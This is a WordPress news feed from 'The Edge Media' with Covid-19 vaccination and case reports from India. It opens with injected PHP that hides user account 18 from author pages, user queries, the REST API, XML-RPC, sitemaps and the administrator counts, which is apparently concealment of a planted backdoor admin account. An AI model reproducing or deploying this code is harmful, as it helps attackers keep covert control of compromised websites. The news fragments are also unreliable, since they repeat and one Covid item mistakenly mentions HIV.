add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Next Month, India will resume the export of surplus Covid vaccines and accept donations appeared first on The Edge Media.
]]>India, the world’s largest vaccine manufacturer, halted vaccine exports in April to focus on immunizing its own people as the number of infections rose. The government hopes to vaccinate all of the country’s 94.4 million adults by December and has already administered at least one shot to 61% of them.
The post Next Month, India will resume the export of surplus Covid vaccines and accept donations appeared first on The Edge Media.
]]>The post So Far, About 63 Crore Doses of Covid Vaccination Have Been Provided in India appeared first on The Edge Media.
]]>The ministry stated that final reports for the day would be completed by late at night. The use of vaccination as a measure to protect the country’s most vulnerable populations from Covid-19 is still being examined and monitored at the highest levels, according to the ministry.
The post So Far, About 63 Crore Doses of Covid Vaccination Have Been Provided in India appeared first on The Edge Media.
]]>The post Nearly 242 Bengaluru children have tested positive for covid-19 appeared first on The Edge Media.
]]>In the last five days, 242 minors under the age of 19 tested positive, according to the Bengaluru civic body, Bruhat Bengaluru Mahanagara Palike (BBMP). The third wave of Covid-19, according to experts, has already begun.
In the previous five days in the city, 106 children under the age of nine and 136 youngsters between the ages of nine and nineteen have tested positive, according to the data. The health service has cautioned that the number of children who have tested positive for HIV may climb in the coming days.
The post Nearly 242 Bengaluru children have tested positive for covid-19 appeared first on The Edge Media.
]]>The post India has recorded 28,204 new Covid-19 cases, the lowest number in 147 days. appeared first on The Edge Media.
]]>According to a preliminary report released by the Centre on Monday, India’s cumulative Covid vaccination coverage has surpassed 510 million (513,914,567).
COVID-19 tally for India crossed 20 lakhs on August 7th, 30 lakhs on August 23rd, 40 lakhs on September 5th, and 50 lakhs on September 16th. It surpassed the 60 lakhs mark on September 28th, then the 70 lakhs mark on October 11th, the 80 lakhs mark on October 29th, on November 20th the 90 lakhs mark, and on December 19th the one-crore mark. India passed the two-crore barrier on May 4th and the three-crore mark on June 23rd.
The post India has recorded 28,204 new Covid-19 cases, the lowest number in 147 days. appeared first on The Edge Media.
]]>The post Smart Vaccination Over Mass Vaccination, ICMR Stated appeared first on The Edge Media.
]]>The study reveals that vaccination 60 per cent effectiveness will lower Covid-19’s peak symptom incidence by 20.6% and overall death by 29.7 per cent for all target categories.
The same infection-preventing vaccination will lower the highest incidence of symptoms by 10.4% and cumulative death by 32.9%, with the capacity to prevent symptoms, rather than infection.
The post Smart Vaccination Over Mass Vaccination, ICMR Stated appeared first on The Edge Media.
]]>